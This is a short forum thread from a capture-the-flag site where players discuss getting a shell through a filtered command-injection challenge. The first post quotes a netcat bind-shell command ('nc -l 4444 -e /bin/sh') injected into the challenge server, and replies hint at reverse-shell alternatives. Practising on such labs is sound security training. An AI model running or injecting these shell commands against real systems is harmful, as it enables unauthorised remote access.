Web - Server

Sunday 29 December 2019, 15:18  #1
command injection with filters — netcat shell connection.
Brumens
  • 6 posts

Hi,
I have a problem when trying starting a shell to the web application.
i run the fallowing commands on the website: nc -l 4444 -e /bin/sh
and on my Kali Linux i do run: nc -v 212.129.38.224 4444
(the ip of http://challenge01.root-me.org)

But the connection won’t work I have tried the apposite as well starting a server on my machine,
and letting the webste connect to me instead. But I do not get a shell connection?
what is wrong?

Thanks

Thursday 2 January 2020, 04:42  #2
command injection with filters — netcat shell connection.
sec.zone64
  • 6 posts

Hello

I think you have bad clue. If I were you, I would have used another command. Think about it. Witch commands have ability to make a connection to outside?(Except NC)

Friday 3 January 2020, 20:44  #3
command injection with filters — netcat shell connection.
Brumens
  • 6 posts

Thanks, I have tried with metasploit php shell as well but guess i will dig deeper in metasploit reverse connection

Wednesday 17 June 2020, 03:50  #4
command injection with filters — netcat shell connection.
cyberchron
  • 5 posts

sometimes you have to bash things.

I was able to connect for a second then it exits ffs im so close
web-serveur-ch54@challenge01: $ exit

*edit just had to be quick i got it lmao